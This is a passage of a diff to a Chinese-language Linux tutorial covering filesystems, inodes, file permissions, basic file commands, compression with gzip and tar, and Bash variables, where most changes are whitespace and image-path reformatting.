+安装多重引导，最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉主要开机记录（MBR），而 Linux 可以选择将开机管理程序安装在主要开机记录（MBR）或者其它分区的启动扇区，并且可以设置开机管理程序的选单。
 
-### 2. UEFI
+### 2. UEFI
 
-BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
+BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
 
-# 四、文件系统
+# 四、文件系统
 
-## 分区与文件系统
+## 分区与文件系统
 
 对分区进行格式化是为了在分区上建立文件系统。一个分区通常只能格式化为一个文件系统，但是磁盘阵列等技术可以将一个分区格式化为多个文件系统。
 
-## 组成
+## 组成
 
 最主要的几个组成部分如下：
 
-- inode：一个文件占用一个 inode，记录文件的属性，同时记录此文件的内容所在的 block 编号；
-- block：记录文件的内容，文件太大时，会占用多个 block。
+- inode：一个文件占用一个 inode，记录文件的属性，同时记录此文件的内容所在的 block 编号；
+- block：记录文件的内容，文件太大时，会占用多个 block。
 
 除此之外还包括：
 
-- superblock：记录文件系统的整体信息，包括 inode 和 block 的总量、使用量、剩余量，以及文件系统的格式与相关信息等；
-- block bitmap：记录 block 是否被使用的位域。
+- superblock：记录文件系统的整体信息，包括 inode 和 block 的总量、使用量、剩余量，以及文件系统的格式与相关信息等；
+- block bitmap：记录 block 是否被使用的位域。
 
-<img src="index_files/BSD_disk.png" width="800"/>
+<div align="center"> <img src="pics/BSD_disk.png" width="800"/> </div><br>
 
-## 文件读取
+## 文件读取
 
-对于 Ext2 文件系统，当要读取一个文件的内容时，先在 inode 中去查找文件内容所在的所有 block，然后把所有 block 的内容读出来。
+对于 Ext2 文件系统，当要读取一个文件的内容时，先在 inode 中去查找文件内容所在的所有 block，然后把所有 block 的内容读出来。
 
-![](index_files/83185315-793a-453a-a927-5e8d92b5c0ef.jpg)
+<div align="center"> <img src="pics/83185315-793a-453a-a927-5e8d92b5c0ef.jpg"/> </div><br>
 
-而对于 FAT 文件系统，它没有 inode，每个 block 中存储着下一个 block 的编号。
+而对于 FAT 文件系统，它没有 inode，每个 block 中存储着下一个 block 的编号。
 
-![](index_files/075e1977-7846-4928-96c8-bb5b0268693c.jpg)
+<div align="center"> <img src="pics/075e1977-7846-4928-96c8-bb5b0268693c.jpg"/> </div><br>
 
-## 磁盘碎片
+## 磁盘碎片
 
-指一个文件内容所在的 block 过于分散。
+指一个文件内容所在的 block 过于分散。
 
-## block
+## block
 
-在 Ext2 文件系统中所支持的 block 大小有 1K，2K 及 4K 三种，不同的大小限制了单个文件和文件系统的最大大小。
+在 Ext2 文件系统中所支持的 block 大小有 1K，2K 及 4K 三种，不同的大小限制了单个文件和文件系统的最大大小。
 
-| 大小 | 1KB | 2KB | 4KB |
-| :---: | :---: | :---: | :---: |
-| 最大单一文件 | 16GB | 256GB | 2TB |
-| 最大文件系统 | 2TB | 8TB | 16TB |
+| 大小 | 1KB | 2KB | 4KB |
+| :---: | :---: | :---: | :---: |
+| 最大单一文件 | 16GB | 256GB | 2TB |
+| 最大文件系统 | 2TB | 8TB | 16TB |
 
-一个 block 只能被一个文件所使用，未使用的部分直接浪费了。因此如果需要存储大量的小文件，那么最好选用比较小的 block。
+一个 block 只能被一个文件所使用，未使用的部分直接浪费了。因此如果需要存储大量的小文件，那么最好选用比较小的 block。
 
-## inode
+## inode
 
-inode 具体包含以下信息：
+inode 具体包含以下信息：
 
-- 权限 (read/write/excute)；
-- 拥有者与群组 (owner/group)；
-- 容量；
-- 建立或状态改变的时间 (ctime)；
-- 最近一次的读取时间 (atime)；
-- 最近修改的时间 (mtime)；
-- 定义文件特性的旗标 (flag)，如 SetUID...；
-- 该文件真正内容的指向 (pointer)。
+- 权限 (read/write/excute)；
+- 拥有者与群组 (owner/group)；
+- 容量；
+- 建立或状态改变的时间 (ctime)；
+- 最近一次的读取时间 (atime)；
+- 最近修改的时间 (mtime)；
+- 定义文件特性的旗标 (flag)，如 SetUID...；
+- 该文件真正内容的指向 (pointer)。
 
-inode 具有以下特点：
+inode 具有以下特点：
 
-- 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes)；
-- 每个文件都仅会占用一个 inode。
+- 每个 inode 大小均固定为 128 bytes (新的 ext4 与 xfs 可设定到 256 bytes)；
+- 每个文件都仅会占用一个 inode。
 
-inode 中记录了文件内容所在的 block 编号，但是每个 block 非常小，一个大文件随便都需要几十万的 block。而一个 inode 大小有限，无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指，让 inode 记录的引用 block 块记录引用信息。
+inode 中记录了文件内容所在的 block 编号，但是每个 block 非常小，一个大文件随便都需要几十万的 block。而一个 inode 大小有限，无法直接引用这么多 block 编号。因此引入了间接、双间接、三间接引用。间接引用是指，让 inode 记录的引用 block 块记录引用信息。
 
-<img src="index_files/inode_with_signatures.jpg" width="600"/>
+<div align="center"> <img src="pics/inode_with_signatures.jpg" width="600"/> </div><br>
 
-## 目录
+## 目录
 
-建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
+建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
 
-可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
+可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
 
-## 日志
+## 日志
 
-如果突然断电，那么文件系统会发生错误，例如断电前只修改了 block bitmap，而还没有将数据真正写入 block 中。
+如果突然断电，那么文件系统会发生错误，例如断电前只修改了 block bitmap，而还没有将数据真正写入 block 中。
 
-ext3/ext4 文件系统引入了日志功能，可以利用日志来修复文件系统。
+ext3/ext4 文件系统引入了日志功能，可以利用日志来修复文件系统。
 
-## 挂载
+## 挂载
 
 挂载利用目录作为文件系统的进入点，也就是说，进入目录之后就可以读取文件系统的数据。
 
-## 目录配置
+## 目录配置
 
-为了使不同 Linux 发行版本的目录结构保持一致性，Filesystem Hierarchy Standard (FHS) 规定了 Linux 的目录结构。最基础的三个目录如下：
+为了使不同 Linux 发行版本的目录结构保持一致性，Filesystem Hierarchy Standard (FHS) 规定了 Linux 的目录结构。最基础的三个目录如下：
 
-- / (root, 根目录)
-- /usr (unix software resource)：所有系统默认软件都会安装到这个目录；
-- /var (variable)：存放系统或程序运行过程中的数据文件。
+- / (root, 根目录)
+- /usr (unix software resource)：所有系统默认软件都会安装到这个目录；
+- /var (variable)：存放系统或程序运行过程中的数据文件。
 
-<img src="index_files/linux-filesystem.png" width=""/>
+<div align="center"> <img src="pics/linux-filesystem.png" width=""/> </div><br>
 
-# 五、文件
+# 五、文件
 
-## 文件属性
+## 文件属性
 
 用户分为三种：文件拥有者、群组以及其它人，对不同的用户有不同的文件权限。
 
-使用 ls 查看一个文件时，会显示一个文件的信息，例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`，对这个信息的解释如下：
+使用 ls 查看一个文件时，会显示一个文件的信息，例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`，对这个信息的解释如下：
 
-- drwxr-xr-x：文件类型以及权限，第 1 位为文件类型字段，后 9 位为文件权限字段
-- 3：链接数
-- root：文件拥有者
-- root：所属群组
-- 17：文件大小
-- May 6 00:14：文件最后被修改的时间
-- .config：文件名
+- drwxr-xr-x：文件类型以及权限，第 1 位为文件类型字段，后 9 位为文件权限字段
+- 3：链接数
+- root：文件拥有者
+- root：所属群组
+- 17：文件大小
+- May 6 00:14：文件最后被修改的时间
+- .config：文件名
 
 常见的文件类型及其含义有：
 
-- d：目录
-- -：文件
-- l：链接文件
+- d：目录
+- -：文件
+- l：链接文件
 
-9 位的文件权限字段中，每 3 个为一组，共 3 组，每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限，表示可读、可写、可执行。
+9 位的文件权限字段中，每 3 个为一组，共 3 组，每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限，表示可读、可写、可执行。
 
 文件时间有以下三种：
 
-- modification time (mtime)：文件的内容更新就会更新；
-- status time (ctime)：文件的状态（权限、属性）更新就会更新；
-- access time (atime)：读取文件时就会更新。
+- modification time (mtime)：文件的内容更新就会更新；
+- status time (ctime)：文件的状态（权限、属性）更新就会更新；
+- access time (atime)：读取文件时就会更新。
 
-## 文件与目录的基本操作
+## 文件与目录的基本操作
 
-### 1. ls
+### 1. ls
 
 列出文件或者目录的信息，目录的信息就是其中包含的文件。
 
 ```html
-# ls [-aAdfFhilnrRSt] file|dir
--a ：列出全部的文件
--d ：仅列出目录本身
--l ：以长数据串行列出，包含文件的属性与权限等等数据
+# ls [-aAdfFhilnrRSt] file|dir
+-a ：列出全部的文件
+-d ：仅列出目录本身
+-l ：以长数据串行列出，包含文件的属性与权限等等数据
 ```
 
-### 2. cd
+### 2. cd
 
 更换当前目录。
 
 ```
-cd [相对路径或绝对路径]
+cd [相对路径或绝对路径]
 ```
 
-### 3. mkdir
+### 3. mkdir
 
 创建目录。
 
 ```
-# mkdir [-mp] 目录名称
--m ：配置目录权限
--p ：递归创建目录
+# mkdir [-mp] 目录名称
+-m ：配置目录权限
+-p ：递归创建目录
 ```
 
-### 4. rmdir
+### 4. rmdir
 
 删除目录，目录必须为空。
 
 ```html
-rmdir [-p] 目录名称
--p ：递归删除目录
+rmdir [-p] 目录名称
+-p ：递归删除目录
 ```
 
-### 5. touch
+### 5. touch
 
 更新文件时间或者建立新文件。
 
 ```html
-# touch [-acdmt] filename
--a ： 更新 atime
--c ： 更新 ctime，若该文件不存在则不建立新文件
--m ： 更新 mtime
--d ： 后面可以接更新日期而不使用当前日期，也可以使用 --date="日期或时间"
--t ： 后面可以接更新时间而不使用当前时间，格式为[YYYYMMDDhhmm]
+# touch [-acdmt] filename
+-a ： 更新 atime
+-c ： 更新 ctime，若该文件不存在则不建立新文件
+-m ： 更新 mtime
+-d ： 后面可以接更新日期而不使用当前日期，也可以使用 --date="日期或时间"
+-t ： 后面可以接更新时间而不使用当前时间，格式为[YYYYMMDDhhmm]
 ```
 
-### 6. cp
+### 6. cp
 
 复制文件。
 
 如果源文件有两个以上，则目的文件一定要是目录才行。
 
 ```html
-cp [-adfilprsu] source destination
--a ：相当于 -dr --preserve=all 的意思，至于 dr 请参考下列说明
--d ：若来源文件为链接文件，则复制链接文件属性而非文件本身
--i ：若目标文件已经存在时，在覆盖前会先询问
--p ：连同文件的属性一起复制过去
--r ：递归持续复制
--u ：destination 比 source 旧才更新 destination，或 destination 不存在的情况下才复制
---preserve=all ：除了 -p 的权限相关参数外，还加入 SELinux 的属性, links, xattr 等也复制了
+cp [-adfilprsu] source destination
+-a ：相当于 -dr --preserve=all 的意思，至于 dr 请参考下列说明
+-d ：若来源文件为链接文件，则复制链接文件属性而非文件本身
+-i ：若目标文件已经存在时，在覆盖前会先询问
+-p ：连同文件的属性一起复制过去
+-r ：递归持续复制
+-u ：destination 比 source 旧才更新 destination，或 destination 不存在的情况下才复制
+--preserve=all ：除了 -p 的权限相关参数外，还加入 SELinux 的属性, links, xattr 等也复制了
 ```
 
-### 7. rm
+### 7. rm
 
 删除文件。
 
 ```html
-# rm [-fir] 文件或目录
--r ：递归删除
+# rm [-fir] 文件或目录
+-r ：递归删除
 ```
 
-### 8. mv
+### 8. mv
 
 移动文件。
 
 ```html
-# mv [-fiu] source destination
-# mv [options] source1 source2 source3 .... directory
--f ： force 强制的意思，如果目标文件已经存在，不会询问而直接覆盖
+# mv [-fiu] source destination
+# mv [options] source1 source2 source3 .... directory
+-f ： force 强制的意思，如果目标文件已经存在，不会询问而直接覆盖
 ```
 
-## 修改权限
+## 修改权限
 
-可以将一组权限用数字来表示，此时一组权限的 3 个位当做二进制数字的位，从左到右每个位的权值为 4、2、1，即每个权限对应的数字权值为 r : 4、w : 2、x : 1。
+可以将一组权限用数字来表示，此时一组权限的 3 个位当做二进制数字的位，从左到右每个位的权值为 4、2、1，即每个权限对应的数字权值为 r : 4、w : 2、x : 1。
 
 ```html
-# chmod [-R] xyz dirname/filename
+# chmod [-R] xyz dirname/filename
 ```
 
-示例：将 .bashrc 文件的权限修改为 -rwxr-xr--。
+示例：将 .bashrc 文件的权限修改为 -rwxr-xr--。
 
 ```html
-# chmod 754 .bashrc
+# chmod 754 .bashrc
 ```
 
 也可以使用符号来设定权限。
 
 ```html
-# chmod [ugoa]  [+-=] [rwx] dirname/filename
-- u：拥有者
-- g：所属群组
-- o：其他人
-- a：所有人
-- +：添加权限
-- -：移除权限
-- =：设定权限
+# chmod [ugoa]  [+-=] [rwx] dirname/filename
+- u：拥有者
+- g：所属群组
+- o：其他人
+- a：所有人
+- +：添加权限
+- -：移除权限
+- =：设定权限
 ```
 
-示例：为 .bashrc 文件的所有用户添加写权限。
+示例：为 .bashrc 文件的所有用户添加写权限。
 
 ```html
-# chmod a+w .bashrc
+# chmod a+w .bashrc
 ```
 
-## 文件默认权限
+## 文件默认权限
 
-- 文件默认权限：文件默认没有可执行权限，因此为 666，也就是 -rw-rw-rw- 。
-- 目录默认权限：目录必须要能够进入，也就是必须拥有可执行权限，因此为 777 ，也就是 drwxrwxrwx。
+- 文件默认权限：文件默认没有可执行权限，因此为 666，也就是 -rw-rw-rw- 。
+- 目录默认权限：目录必须要能够进入，也就是必须拥有可执行权限，因此为 777 ，也就是 drwxrwxrwx。
 
-可以通过 umask 设置或者查看文件的默认权限，通常以掩码的形式来表示，例如 002 表示其它用户的权限去除了一个 2 的权限，也就是写权限，因此建立新文件时默认的权限为 -rw-rw-r--。
+可以通过 umask 设置或者查看文件的默认权限，通常以掩码的形式来表示，例如 002 表示其它用户的权限去除了一个 2 的权限，也就是写权限，因此建立新文件时默认的权限为 -rw-rw-r--。
 
-## 目录的权限
+## 目录的权限
 
-文件名不是存储在一个文件的内容中，而是存储在一个文件所在的目录中。因此，拥有文件的 w 权限并不能对文件名进行修改。
+文件名不是存储在一个文件的内容中，而是存储在一个文件所在的目录中。因此，拥有文件的 w 权限并不能对文件名进行修改。
 
-目录存储文件列表，一个目录的权限也就是对其文件列表的权限。因此，目录的 r 权限表示可以读取文件列表；w 权限表示可以修改文件列表，具体来说，就是添加删除文件，对文件名进行修改；x 权限可以让该目录成为工作目录，x 权限是 r 和 w 权限的基础，如果不能使一个目录成为工作目录，也就没办法读取文件列表以及对文件列表进行修改了。
+目录存储文件列表，一个目录的权限也就是对其文件列表的权限。因此，目录的 r 权限表示可以读取文件列表；w 权限表示可以修改文件列表，具体来说，就是添加删除文件，对文件名进行修改；x 权限可以让该目录成为工作目录，x 权限是 r 和 w 权限的基础，如果不能使一个目录成为工作目录，也就没办法读取文件列表以及对文件列表进行修改了。
 
-## 链接
+## 链接
 
 ```html
-# ln [-sf] source_filename dist_filename
--s ：默认是 hard link，加 -s 为 symbolic link
--f ：如果目标文件存在时，先删除目标文件
+# ln [-sf] source_filename dist_filename
+-s ：默认是 hard link，加 -s 为 symbolic link
+-f ：如果目标文件存在时，先删除目标文件
 ```
 
-<img src="index_files/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg" width="400px">
+<div align="center"> <img src="pics/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg" width="400px"> </div><br>
 
-### 1. 实体链接
+### 1. 实体链接
 
-在目录下创建一个条目，记录着文件名与 inode 编号，这个 inode 就是源文件的 inode。
+在目录下创建一个条目，记录着文件名与 inode 编号，这个 inode 就是源文件的 inode。
 
-删除任意一个条目，文件还是存在，只要引用数量不为 0。
+删除任意一个条目，文件还是存在，只要引用数量不为 0。
 
 有以下限制：不能跨越文件系统、不能对目录进行链接。
 
 ```html
-# ln /etc/crontab .
-# ll -i /etc/crontab crontab
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 crontab
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
+# ln /etc/crontab .
+# ll -i /etc/crontab crontab
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 crontab
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
 ```
 
-### 2. 符号链接
+### 2. 符号链接
 
-符号链接文件保存着源文件所在的绝对路径，在读取时会定位到源文件上，可以理解为 Windows 的快捷方式。
+符号链接文件保存着源文件所在的绝对路径，在读取时会定位到源文件上，可以理解为 Windows 的快捷方式。
 
 当源文件被删除了，链接文件就打不开了。
 
 可以为目录建立链接。
 
 ```html
-# ll -i /etc/crontab /root/crontab2
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
-53745909 lrwxrwxrwx. 1 root root 12 Jun 23 22:31 /root/crontab2 -> /etc/crontab
+# ll -i /etc/crontab /root/crontab2
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
+53745909 lrwxrwxrwx. 1 root root 12 Jun 23 22:31 /root/crontab2 -> /etc/crontab
 ```
 
-## 获取文件内容
+## 获取文件内容
 
-### 1. cat
+### 1. cat
 
 取得文件内容。
 
 ```html
-# cat [-AbEnTv] filename
--n ：打印出行号，连同空白行也会有行号，-b 不会
+# cat [-AbEnTv] filename
+-n ：打印出行号，连同空白行也会有行号，-b 不会
 ```
 
-### 2. tac
+### 2. tac
 
-是 cat 的反向操作，从最后一行开始打印。
+是 cat 的反向操作，从最后一行开始打印。
 
-### 3. more
+### 3. more
 
-和 cat 不同的是它可以一页一页查看文件内容，比较适合大文件的查看。
+和 cat 不同的是它可以一页一页查看文件内容，比较适合大文件的查看。
 
-### 4. less
+### 4. less
 
-和 more 类似，但是多了一个向前翻页的功能。
+和 more 类似，但是多了一个向前翻页的功能。
 
-### 5. head
+### 5. head
 
 取得文件前几行。
 
 ```html
-# head [-n number] filename
--n ：后面接数字，代表显示几行的意思
+# head [-n number] filename
+-n ：后面接数字，代表显示几行的意思
 ```
 
-### 6. tail
+### 6. tail
 
-是 head 的反向操作，只是取得是后几行。
+是 head 的反向操作，只是取得是后几行。
 
-### 7. od
+### 7. od
 
 以字符或者十六进制的形式显示二进制文件。
 
-## 指令与文件搜索
+## 指令与文件搜索
 
-### 1. which
+### 1. which
 
 指令搜索。
 
 ```html
-# which [-a] command
--a ：将所有指令列出，而不是只列第一个
+# which [-a] command
+-a ：将所有指令列出，而不是只列第一个
 ```
 
-### 2. whereis
+### 2. whereis
 
 文件搜索。速度比较快，因为它只搜索几个特定的目录。
 
 ```html
-# whereis [-bmsu] dirname/filename
+# whereis [-bmsu] dirname/filename
 ```
 
-### 3. locate
+### 3. locate
 
 文件搜索。可以用关键字或者正则表达式进行搜索。
 
-locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索，它存储在内存中，并且每天更新一次，所以无法用 locate 搜索新建的文件。可以使用 updatedb 来立即更新数据库。
+locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索，它存储在内存中，并且每天更新一次，所以无法用 locate 搜索新建的文件。可以使用 updatedb 来立即更新数据库。
 
 ```html
-# locate [-ir] keyword
+# locate [-ir] keyword
 -r：正则表达式
 ```
 
-### 4. find
+### 4. find
 
 文件搜索。可以使用文件的属性和权限进行搜索。
 
 ```html
-# find [basedir] [option]
-example: find . -name "shadow*"
+# find [basedir] [option]
+example: find . -name "shadow*"
 ```
 
-**① 与时间有关的选项**
+**① 与时间有关的选项** 
 
 ```html
--mtime  n ：列出在 n 天前的那一天修改过内容的文件
--mtime +n ：列出在 n 天之前 (不含 n 天本身) 修改过内容的文件
--mtime -n ：列出在 n 天之内 (含 n 天本身) 修改过内容的文件
--newer file ： 列出比 file 更新的文件
+-mtime  n ：列出在 n 天前的那一天修改过内容的文件
+-mtime +n ：列出在 n 天之前 (不含 n 天本身) 修改过内容的文件
+-mtime -n ：列出在 n 天之内 (含 n 天本身) 修改过内容的文件
+-newer file ： 列出比 file 更新的文件
 ```
 
-+4、4 和 -4 的指示的时间范围如下：
++4、4 和 -4 的指示的时间范围如下：
 
-<img src="index_files/658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/>
+<div align="center"> <img src="pics/658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
 
-**② 与文件拥有者和所属群组有关的选项**
+**② 与文件拥有者和所属群组有关的选项** 
 
 ```html
--uid n
--gid n
--user name
--group name
--nouser ：搜索拥有者不存在 /etc/passwd 的文件
--nogroup：搜索所属群组不存在于 /etc/group 的文件
+-uid n
+-gid n
+-user name
+-group name
+-nouser ：搜索拥有者不存在 /etc/passwd 的文件
+-nogroup：搜索所属群组不存在于 /etc/group 的文件
 ```
 
-**③ 与文件权限和名称有关的选项**
+**③ 与文件权限和名称有关的选项** 
 
 ```html
--name filename
--size [+-]SIZE：搜寻比 SIZE 还要大 (+) 或小 (-) 的文件。这个 SIZE 的规格有：c: 代表 byte，k: 代表 1024bytes。所以，要找比 50KB 还要大的文件，就是 -size +50k
--type TYPE
--perm mode  ：搜索权限等于 mode 的文件
--perm -mode ：搜索权限包含 mode 的文件
--perm /mode ：搜索权限包含任一 mode 的文件
+-name filename
+-size [+-]SIZE：搜寻比 SIZE 还要大 (+) 或小 (-) 的文件。这个 SIZE 的规格有：c: 代表 byte，k: 代表 1024bytes。所以，要找比 50KB 还要大的文件，就是 -size +50k
+-type TYPE
+-perm mode  ：搜索权限等于 mode 的文件
+-perm -mode ：搜索权限包含 mode 的文件
+-perm /mode ：搜索权限包含任一 mode 的文件
 ```
 
-# 六、压缩与打包
+# 六、压缩与打包
 
-## 压缩文件名
+## 压缩文件名
 
-Linux 底下有很多压缩文件名，常见的如下：
+Linux 底下有很多压缩文件名，常见的如下：
 
-| 扩展名 | 压缩程序 |
-| -- | -- |
-| \*.Z | compress |
-|\*.zip |  zip |
-|\*.gz  | gzip|
-|\*.bz2 |  bzip2 |
-|\*.xz  | xz |
-|\*.tar |  tar 程序打包的数据，没有经过压缩 |
-|\*.tar.gz | tar 程序打包的文件，经过 gzip 的压缩 |
-|\*.tar.bz2 | tar 程序打包的文件，经过 bzip2 的压缩 |
-|\*.tar.xz | tar 程序打包的文件，经过 xz 的压缩 |
+| 扩展名 | 压缩程序 |
+| -- | -- |
+| \*.Z | compress |
+|\*.zip |  zip |
+|\*.gz  | gzip|
+|\*.bz2 |  bzip2 |
+|\*.xz  | xz |
+|\*.tar |  tar 程序打包的数据，没有经过压缩 |
+|\*.tar.gz | tar 程序打包的文件，经过 gzip 的压缩 |
+|\*.tar.bz2 | tar 程序打包的文件，经过 bzip2 的压缩 |
+|\*.tar.xz | tar 程序打包的文件，经过 xz 的压缩 |
 
-## 压缩指令
+## 压缩指令
 
-### 1. gzip
+### 1. gzip
 
-gzip 是 Linux 使用最广的压缩指令，可以解开 compress、zip 与 gzip 所压缩的文件。
+gzip 是 Linux 使用最广的压缩指令，可以解开 compress、zip 与 gzip 所压缩的文件。
 
-经过 gzip 压缩过，源文件就不存在了。
+经过 gzip 压缩过，源文件就不存在了。
 
-有 9 个不同的压缩等级可以使用。
+有 9 个不同的压缩等级可以使用。
 
-可以使用 zcat、zmore、zless 来读取压缩文件的内容。
+可以使用 zcat、zmore、zless 来读取压缩文件的内容。
 
 ```html
-$ gzip [-cdtv#] filename
--c ：将压缩的数据输出到屏幕上
--d ：解压缩
--t ：检验压缩文件是否出错
--v ：显示压缩比等信息
--# ： # 为数字的意思，代表压缩等级，数字越大压缩比越高，默认为 6
+$ gzip [-cdtv#] filename
+-c ：将压缩的数据输出到屏幕上
+-d ：解压缩
+-t ：检验压缩文件是否出错
+-v ：显示压缩比等信息
+-# ： # 为数字的意思，代表压缩等级，数字越大压缩比越高，默认为 6
 ```
 
-### 2. bzip2
+### 2. bzip2
 
-提供比 gzip 更高的压缩比。
+提供比 gzip 更高的压缩比。
 
 查看命令：bzcat、bzmore、bzless、bzgrep。
 
 ```html
-$ bzip2 [-cdkzv#] filename
--k ：保留源文件
+$ bzip2 [-cdkzv#] filename
+-k ：保留源文件
 ```
 
-### 3. xz
+### 3. xz
 
-提供比 bzip2 更佳的压缩比。
+提供比 bzip2 更佳的压缩比。
 
-可以看到，gzip、bzip2、xz 的压缩比不断优化。不过要注意的是，压缩比越高，压缩的时间也越长。
+可以看到，gzip、bzip2、xz 的压缩比不断优化。不过要注意的是，压缩比越高，压缩的时间也越长。
 
 查看命令：xzcat、xzmore、xzless、xzgrep。
 
 ```html
-$ xz [-dtlkc#] filename
+$ xz [-dtlkc#] filename
 ```
 
-## 打包
+## 打包
 
-压缩指令只能对一个文件进行压缩，而打包能够将多个文件打包成一个大文件。tar 不仅可以用于打包，也可以使用 gip、bzip2、xz 将打包文件进行压缩。
+压缩指令只能对一个文件进行压缩，而打包能够将多个文件打包成一个大文件。tar 不仅可以用于打包，也可以使用 gip、bzip2、xz 将打包文件进行压缩。
 
 ```html
-$ tar [-z|-j|-J] [cv] [-f 新建的 tar 文件] filename...  ==打包压缩
-$ tar [-z|-j|-J] [tv] [-f 已有的 tar 文件]              ==查看
-$ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录]    ==解压缩
--z ：使用 zip；
--j ：使用 bzip2；
--J ：使用 xz；
--c ：新建打包文件；
--t ：查看打包文件里面有哪些文件；
--x ：解打包或解压缩的功能；
--v ：在压缩/解压缩的过程中，显示正在处理的文件名；
--f : filename：要处理的文件；
--C 目录 ： 在特定目录解压缩。
+$ tar [-z|-j|-J] [cv] [-f 新建的 tar 文件] filename...  ==打包压缩
+$ tar [-z|-j|-J] [tv] [-f 已有的 tar 文件]              ==查看
+$ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录]    ==解压缩
+-z ：使用 zip；
+-j ：使用 bzip2；
+-J ：使用 xz；
+-c ：新建打包文件；
+-t ：查看打包文件里面有哪些文件；
+-x ：解打包或解压缩的功能；
+-v ：在压缩/解压缩的过程中，显示正在处理的文件名；
+-f : filename：要处理的文件；
+-C 目录 ： 在特定目录解压缩。
 ```
 
-| 使用方式 | 命令 |
-| :---: | --- |
-| 打包压缩 | tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称 |
-| 查 看 | tar -jtv -f filename.tar.bz2 |
-| 解压缩 | tar -jxv -f filename.tar.bz2 -C 要解压缩的目录 |
+| 使用方式 | 命令 |
+| :---: | --- |
+| 打包压缩 | tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称 |
+| 查 看 | tar -jtv -f filename.tar.bz2 |
+| 解压缩 | tar -jxv -f filename.tar.bz2 -C 要解压缩的目录 |
 
-# 七、Bash
+# 七、Bash
 
-可以通过 Shell 请求内核提供服务，Bash 正是 Shell 的一种。
+可以通过 Shell 请求内核提供服务，Bash 正是 Shell 的一种。
 
-## 特性
+## 特性
 
-- 命令历史：记录使用过的命令
-- 命令与文件补全：快捷键：tab
-- 命名别名：例如 lm 是 ls -al 的别名
-- shell scripts
-- 通配符：例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件
+- 命令历史：记录使用过的命令
+- 命令与文件补全：快捷键：tab
+- 命名别名：例如 lm 是 ls -al 的别名
+- shell scripts
+- 通配符：例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件
 
-## 变量操作
+## 变量操作
 
-对一个变量赋值直接使用 =。
+对一个变量赋值直接使用 =。
 
-对变量取用需要在变量前加上 \$ ，也可以用 \${} 的形式；
+对变量取用需要在变量前加上 \$ ，也可以用 \${} 的形式；
 
-输出变量使用 echo 命令。
+输出变量使用 echo 命令。
 
 ```bash
-$ x=abc
-$ echo $x
-$ echo ${x}
+$ x=abc
+$ echo $x
+$ echo ${x}
 ```
 
 变量内容如果有空格，必须使用双引号或者单引号。
 
-- 双引号内的特殊字符可以保留原本特性，例如 x="lang is \$LANG"，则 x 的值为 lang is zh_TW.UTF-8；
-- 单引号内的特殊字符就是特殊字符本身，例如 x='lang is \$LANG'，则 x 的值为 lang is \$LANG。
+- 双引号内的特殊字符可以保留原本特性，例如 x="lang is \$LANG"，则 x 的值为 lang is zh_TW.UTF-8；
+- 单引号内的特殊字符就是特殊字符本身，例如 x='lang is \$LANG'，则 x 的值为 lang is \$LANG。
 
-可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r)，则 version 的值为 4.15.0-22-generic。
+可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r)，则 version 的值为 4.15.0-22-generic。
 
-可以使用 export 命令将自定义变量转成环境变量，环境变量可以在子程序中使用，所谓子程序就是由当前 Bash 而产生的子 Bash。
+可以使用 export 命令将自定义变量转成环境变量，环境变量可以在子程序中使用，所谓子程序就是由当前 Bash 而产生的子 Bash。
 
-Bash 的变量可以声明为数组和整数数字。注意数字类型没有浮点数。如果不进行声明，默认是字符串类型。变量的声明使用 declare 命令：
+Bash 的变量可以声明为数组和整数数字。注意数字类型没有浮点数。如果不进行声明，默认是字符串类型。变量的声明使用 declare 命令：
 
 ```html
-$ declare [-aixr] variable
--a ： 定义为数组类型
--i ： 定义为整数类型
--x ： 定义为环境变量
--r ： 定义为 readonly 类型
+$ declare [-aixr] variable
+-a ： 定义为数组类型
+-i ： 定义为整数类型
+-x ： 定义为环境变量
+-r ： 定义为 readonly 类型
 ```
 
-使用 [ ] 来对数组进行索引操作：
+使用 [ ] 来对数组进行索引操作：
 
 ```bash
-$ array[1]=a
-$ array[2]=b
-$ echo ${array[1]}
+$ array[1]=a
+$ array[2]=b
+$ echo ${array[1]}
 ```
 
-## 指令搜索顺序
+## 指令搜索顺序
 
-- 以绝对或相对路径来执行指令，例如 /bin/ls 或者 ./ls ；
-- 由别名找到该指令来执行；
-- 由 Bash 内置的指令来执行；
